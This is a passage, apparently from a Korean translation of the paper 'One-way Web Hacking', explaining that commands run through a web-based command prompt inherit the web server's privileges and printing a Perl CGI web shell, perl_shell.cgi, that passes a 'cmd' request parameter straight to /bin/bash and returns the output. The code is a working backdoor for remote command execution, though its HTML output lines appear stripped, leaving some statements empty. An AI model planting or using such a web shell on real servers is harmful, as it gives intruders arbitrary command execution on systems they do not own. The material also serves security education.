One-way Web Hacking

웹 기반의 command prompt와 같은 것에 의해 실행된 명령들은 웹 서버의 프로세스의 권한을 가질 것이다.
전형적으로, Apache가 실행되고 있는 Unix 시스템에 대해 uid는 “nobody”이며, 반면 IIS가 실행되고 있는 Windows
시스템의 경우 권한은 "IUSR_machinename" 또는 "IWAM_machinename"이다. 아래에 주어진 것은 웹 기반의 command
prompt의 4가지 예이다.
4.0.1 Perl - perl_shell.cgi
Perl 및 cgi-lib.pl을 사용하는 다음 스크립트는 semi-interactive web based command prompt를 제공한다.
#!/usr/bin/perl
require "cgi-lib.pl";
print &PrintHeader;
print "\n";
print "\n";
print "\n";
print "\n";
&ReadParse(*in);
if($in{'cmd'} ne "") {
}
print "\n$in{'cmd'}\n\n";
print `/bin/bash -c "$in{'cmd'}"`;
print "\n";
cgi-lib.pl
$cgi_lib'writefiles = 1;